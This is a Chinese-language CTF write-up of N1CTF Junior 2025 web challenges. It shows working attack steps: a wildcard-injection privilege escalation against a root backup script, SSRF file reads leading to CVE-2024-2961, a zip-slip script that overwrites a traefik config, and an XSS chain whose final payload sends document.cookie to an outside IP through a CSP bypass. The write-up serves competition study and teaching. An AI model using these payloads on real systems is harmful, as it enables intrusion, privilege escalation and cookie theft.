目录

  1. 1. 前言
  2. 2. backup
  3. 3. Gavatar
  4. 4. traefik
  5. 5. EasyDB(Unsolved)
  6. 6. display(复现)
    1. 6.1. innerHTML 与 innerText 的差异
    2. 6.2. iframe 重新解析标签
    3. 6.3. 404绕过CSP

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

N1CTF Junior 2025

2025/2/9 CTF线上赛 XSS
  |     |   总文章阅读量:

前言

比隔壁好打(

我要是大一就好了

image-20250210232233018

参考:

https://fupanc-w1n.github.io/p/

https://j1rry-learn.github.io/posts/2025-n1ctf-junior-web-%E6%96%B9%E5%90%91%E5%85%A8%E8%A7%A3


backup

ctrl+u找到hint:

//# sourceURL=pen.js
//$cmd = $_REQUEST["__2025.happy.new.year"];

传参_[2025.happy.new.year

然后就能 rce

image-20250209135301544

先读一下 index.php

<?php

// 真的这么简单吗
// highlight_file(__FILE__);


$cmd = $_REQUEST["__2025.happy.new.year"];

system($cmd);

?>

backup/keep.txt 和 primary/keep.txt 均为空

image-20250209135158525

接下来要提权,总之先蚁剑以 cmdlinux 连上去,注意到 primary 文件夹有写权限

进程

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 13:34 ?        00:00:00 /bin/sh -c /start.sh
root           7       1  0 13:34 ?        00:00:00 /bin/bash /start.sh
root          13       7  0 13:34 ?        00:00:00 /bin/bash /backup.sh
root          22       1  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
root          23       7  0 13:34 ?        00:00:00 sleep infinity
www-data      24      22  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data      27      22  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     129      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     134      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     135      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     136      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     137      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     143      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     147      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     149      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
root        1357      13  0 14:18 ?        00:00:00 sleep 15s

/backup.sh

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

done

这里每15秒会把 primary 下的所有文件复制到 backup

cp -P会直接复制整个软链接而不是软链接指向的内容

尝试在文件名处进行通配符在野注入,参考:https://www.cnblogs.com/linuxsec/articles/10701392.html

-L选项注入进去实现复制软链接指向的内容

echo "">'-L'
ln -s /flag flag

等待15s后 backup 下出现flag

image-20250210000435855


Gavatar

白名单文件上传

if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
    die('Invalid file type');
}

或者任意url

elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

试一下 file:///etc/passwd

image-20250209152608347

那么接下来要rce

测了下发现出网,那尝试写个马

获取user_id,file:///var/www/db/db.json读取db.json

{
    "users": [
        {
            "id": "befc3c75-5af3-4715-9450-ac69879ddd42",
            "username": "1",
            "password": "$2y$10$M47\/Bxtr4jlUgyEPCaYWMeOP5UdHyRVJaXySpwHr6el48U6BmsXCm"
        }
    ]
}

文件上传的路径有了,接下来的问题是控制后缀,这里是php8,phar寄了

考虑打CVE-2024-2961,file:///proc/self/maps 取 maps,file:///usr/lib/x86_64-linux-gnu/libc.so.6取 libc.so.6

然后跑脚本打payload

image-20250209225619027

image-20250209183432111


traefik

package main

import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

const uploadDir = "./uploads"

func unzipSimpleFile(file *zip.File, filePath string) error {
	outFile, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer outFile.Close()

	fileInArchive, err := file.Open()
	if err != nil {
		return err
	}
	defer fileInArchive.Close()

	_, err = io.Copy(outFile, fileInArchive)
	if err != nil {
		return err
	}
	return nil
}

func unzipFile(zipPath, destDir string) error {
	zipReader, err := zip.OpenReader(zipPath)
	if err != nil {
		return err
	}
	defer zipReader.Close()

	for _, file := range zipReader.File {
		filePath := filepath.Join(destDir, file.Name)
		if file.FileInfo().IsDir() {
			if err := os.MkdirAll(filePath, file.Mode()); err != nil {
				return err
			}
		} else {
			err = unzipSimpleFile(file, filePath)
			if err != nil {
				return err
			}
		}
	}
	return nil
}

func randFileName() string {
	return uuid.New().String()
}

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")

		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}

		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}

		c.String(http.StatusOK, flag)
	})

	r.GET("/public/index", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", nil)
	})

	r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}

		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)

		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}

		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}

		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}

		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})

	r.Run(":8080")
}

功能点就一个文件上传解压


https://github.com/jphetphoumy/traefik-CVE-2024-45410-poc

https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv

traefik v3.2.3 版本对不上

dynamic.yml

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy

猜测还是要从文件上传入手,利用 zipslip 实现目录穿越文件覆盖,参考:https://saucer-man.com/information_security/364.html

ai 改一个 dynamic.yml,添加 /flag 路由,并且使用中间件处理发送 xff 请求头

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - add-header

  middlewares:
    add-header:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

生成压缩包

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../../../../app/.config/dynamic.yml')

上传,此时的 dynamic.yml 就是我们构造的配置文件了

直接访问 /flag 即可

image-20250210214233462


EasyDB(Unsolved)

代码逻辑十分简单,就一个登录登出,账密 admin:admin

然后就是 jdbc

不会


display(复现)

用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

/ 路由下直接 get 传参 text,内容是 base64 的 payload

flag 在 bot 的 cookie

短短一行限制:const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";

然后这里专门给了404回显

app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

那么 xss 的点应该和 sekaictf targetless 差不多,但是打payload下去没动静

image-20250309011242077

先看下代码

image-20250308225925967

输入这里有 DOMPurify 限制

innerHTML 与 innerText 的差异

搜索到文章:https://xz.aliyun.com/news/6017

但是文章的版本是 2.0.0,而我们的是 3.2.3,注意到文章中提到的滥用 mXSS 绕过 DOMPurify,关于innerHTML会修复不完整的 html

在 index.js 有类似的操作:

textInput.innerHTML = sanitizedText;             // 写入预览区
contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

测试一下这两个方法的区别:

<div id="example">
    <p>Hello <strong>World</strong></p>
</div>

<script>
    var content = document.getElementById("example");
    console.log(content.innerHTML);
    console.log(content.innerText);
</script>

输出

<p>Hello <strong>World</strong></p>

Hello World

然后我们把<strong>标签进行 html 编码再测试:

<div id="example">
    <p>Hello &lt;strong&gt;World</strong></p>
</div>

<script>
    var content = document.getElementById("example");
    console.log(content.innerHTML);
    console.log(content.innerText);
</script>

输出

<p>Hello &lt;strong&gt;World</p>

Hello <strong>World

对比一下可以看出:

  • innerHTML 用于获取或设置元素的 HTML 内容,包括所有的 HTML 标签
  • innerText 会解析HTML标签为文本,如果有HTML编码内容,那么就会将其解码一次

那么回到题目,同理我们将 sanitizedText 的内容HTML编码一下,然后textInput.innerText会将其HTML解码一次。并将其赋值给了内容显示,这样我们就可以在前端显示一个HTML标签出来

image-20250309010022963

image-20250309005952141

这里在预览时就在前端渲染成了一个标签,但是不会解析

这是因为内容是动态放置在 <div> 内的,并且由于使用了 innerHTML,因此脚本没有执行

image-20250309010155272

iframe 重新解析标签

然后考虑 hint:用 iframe 嵌入子页面可以重新唤起 DOM 解析器解析 script 标签

关于 iframe 的利用:https://blog.huli.tw/2022/04/07/iframe-and-window-open/

直接拿 src 属性套 javascript 协议试一下,或者 srcdoc 测一下

<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>

能解析,但是被 csp 拦下来了

image-20250309012417674

404绕过CSP

script-src 设置为了 self,那就是 sekaictf targetless 同款打法

本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码

使用 iframe 来引入这个界面

<iframe srcdoc="<script src='/**/alert(1)//'></script>"></iframe>

image-20250309012629710

然后 fetch 带外即可,注意这里由于双引号单引号都用了,url这里用反引号括起来

<iframe srcdoc="<script src='/**/fetch(`http://10.39.138.223:666/`+document.cookie);//'></script>"></iframe>

bp抓包传参

image-20250309013539121